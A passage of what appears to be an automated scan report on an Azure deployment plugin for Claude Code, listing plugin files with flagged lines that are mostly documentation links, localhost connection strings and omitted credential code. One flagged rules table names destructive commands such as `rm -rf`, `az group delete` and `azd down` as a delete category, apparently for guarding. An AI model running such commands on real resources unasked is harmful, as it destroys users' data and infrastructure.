- [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md
- Network accessline 25
# Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" - Network accessline 26
_REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300 # Refresh 5 minutes before expiry - Network accessline 27
_TOKEN_SCOPE = "https://redis.azure.com/.default" - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md
- Network accessline 79
- [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration) - Network accessline 80
- [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/) - Network accessline 81
- [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md
- Access to secretsline 96
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md
- Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Network accessline 61
[Credential-related source omitted] - Network accessline 62
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/selection.md
- Network accessline 7
Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-api.md
- Network accessline 15
**Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 179
- [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) - Network accessline 180
- [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices) - Network accessline 181
- [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-app.md
- Network accessline 14
**Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice) - Network accessline 106
ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 108
CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net'] - Network accessline 179
- [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore) - Network accessline 180
- [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs) - Network accessline 181
- [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/day2-operations.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/environment.md
- Network accessline 25
{ name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' - Network accessline 26
name: 'database-url' keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url' identity: managedIdentity.id - Network accessline 27
keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/terraform.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/cosmos-db/sdk.md
- Access to secretsline 26
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/README.md
- Network accessline 28
# Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions) - Network accessline 32
# Dashboard available at http://localhost:8082 - Network accessline 49
| Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 50
|-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId - Network accessline 51
| Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | - Network accessline 72
- [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab - Network accessline 73
- [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht - Network accessline 74
- [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - Network accessline 75
- [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview) - Network accessline 76
- [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler) - Network accessline 77
- [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md
- Network accessline 65
To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 - Network accessline 82
> **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf - Network accessline 100
> **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview) - Network accessline 20
> **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work - Network accessline 47
"FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 48
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 49
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/java.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java) - Network accessline 27
> **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version. - Network accessline 56
"FUNCTIONS_WORKER_RUNTIME": "java", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 57
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 58
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 204
public class App { public static void main(String[] args) throws Exception { String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"; - Network accessline 206
String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript) - Network accessline 21
> **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "node", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 179
const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/python.md
- Network accessline 5
- [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/) - Network accessline 6
- [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python) - Network accessline 19
> **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release. - Network accessline 50
"FUNCTIONS_WORKER_RUNTIME": "python", "AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 51
"AzureWebJobsStorage": "UseDevelopmentStorage=true", "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" } - Network accessline 52
"DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None" - Network accessline 194
async def main(): with DurableTaskSchedulerWorker( host_address="http://localhost:8080", - Network accessline 195
with DurableTaskSchedulerWorker( host_address="http://localhost:8080", secure_channel=False, - Network accessline 196
host_address="http://localhost:8080", - Network accessline 205
from durabletask.azuremanaged.client import DurableTaskSchedulerClient client = DurableTaskSchedulerClient( host_address="http://localhost:8080", - Network accessline 206
client = DurableTaskSchedulerClient( host_address="http://localhost:8080", taskhub="default", - Network accessline 207
host_address="http://localhost:8080",
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/bicep.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/subscriptions.md
- Network accessline 11
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 12
properties: { endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' } - Network accessline 13
endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders' - Network accessline 36
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/events' - Network accessline 37
properties: { endpointUrl: 'https://my-api.example.com/events' } - Network accessline 38
endpointUrl: 'https://my-api.example.com/events'
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/foundry/region-availability.md
- Network accessline 15
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/README.md
- Network accessline 65
> Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 66
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 67
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/bicep.md
- Network accessline 86
runtime: { name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages - Network accessline 87
name: 'python' // or 'node', 'dotnet-isolated' version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages } - Network accessline 88
version: '<version>' // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/README.md
- Network accessline 112
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 115
> ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 116
> 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json` - Network accessline 127
| `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w - Network accessline 128
| `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` | - Network accessline 129
| `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | - Network accessline 139
GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip - Network accessline 146
1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1 - Network accessline 147
2. Filter tree entries where path starts with {folderPath}/ 3. For each file: GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 149
GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path} - Network accessline 181
**Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md
- Network accessline 28
See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/composition.md
- Network accessline 47
1. FETCH MANIFEST GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 48
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json If both fail → - Network accessline 49
If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json - Network accessline 224
> ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 225
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 226
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md
- Network accessline 27
See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md
- Network accessline 34
The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md
- Network accessline 21
See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md
- Network accessline 17
See [MCP Specification](https://modelcontextprotocol.io/) for protocol details. - Network accessline 31
See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md
- Network accessline 26
See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md
- Network accessline 45
See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md
- Network accessline 22
> Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/functions/terraform.md
- Network accessline 173
> 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/README.md
- Network accessline 39
| Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | - Network accessline 40
|----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name | - Network accessline 41
| `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/key-vault/sdk.md
- Access to secretsline 29
[Credential-related source omitted] - Network accessline 59
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' - Network accessline 60
properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' } - Network accessline 61
endpointUrl: 'https://my-api.example.com/secret-rotation'
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/bicep.md
- Network accessline 10
state: 'Enabled' definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' - Network accessline 11
definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' contentVersion: '1.0.0.0' - Network accessline 12
'$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/logic-apps/triggers.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/service-bus/patterns.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1
- Executable scriptline 1
Executable file - Network accessline 78
if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) { Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." - Network accessline 79
Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." exit 1 - Network accessline 80
Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 85
if ! command -v sqlcmd >/dev/null 2>&1; then echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 - Network accessline 86
echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 exit 1 - Network accessline 87
echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/sql-database/sdk.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/deployment.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/static-web-apps/routing.md
- Network accessline 41
"azureActiveDirectory": { "registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Network accessline 42
"registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", "clientIdSettingName": "AAD_CLIENT_ID", - Network accessline 43
"openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Access to secretsline 45
[Credential-related source omitted]
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/storage/access.md
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/azd/scripts/set-aspire-aca-env.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/scripts/validate-deployment.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/README.md
- Network accessline 59
- Terraform: see https://developer.hashicorp.com/terraform/install
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/errors.md
- Network accessline 28
site_config { cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 29
cors { allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] } - Network accessline 30
allowed_origins = ["https://${azurerm_linux_web_app.frontend.default_hostname}"] - Network accessline 36
resource "azurerm_linux_web_app" "frontend" { app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 37
app_settings = { API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" } - Network accessline 38
API_URL = "https://${azurerm_linux_web_app.api.default_hostname}" - Network accessline 64
> ⚠<U+FE0F> **Warning:** If using `["*"]` as a temporary bootstrap value, you **must** set `frontend_origin` to the actual URL (e.g., `https://app-web-*.azurewebsites.net`) and re-run `terraform apply` in the same deployment session before reporti
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.ps1
- Executable scriptline 1
Executable file - Network accessline 50
Add-Result "Terraform installed" "PASS" } else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
} else { Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" } - Network accessline 52
Add-Result "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install"
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/recipes/terraform/scripts/validate-terraform.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 50
record "Terraform installed" "PASS" else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Network accessline 51
else record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" fi - Network accessline 52
record "Terraform installed" "FAIL" "terraform not found on PATH. Install: https://developer.hashicorp.com/terraform/install" - Dangerous shell operationline 102
rm -f "$tmp"
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 53
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.ps1
- Executable scriptline 1
Executable file
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/scan-aspire-functions-secrets.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/azure-app-lifecycle/skills/azure-validate/references/scripts/workflow.ps1
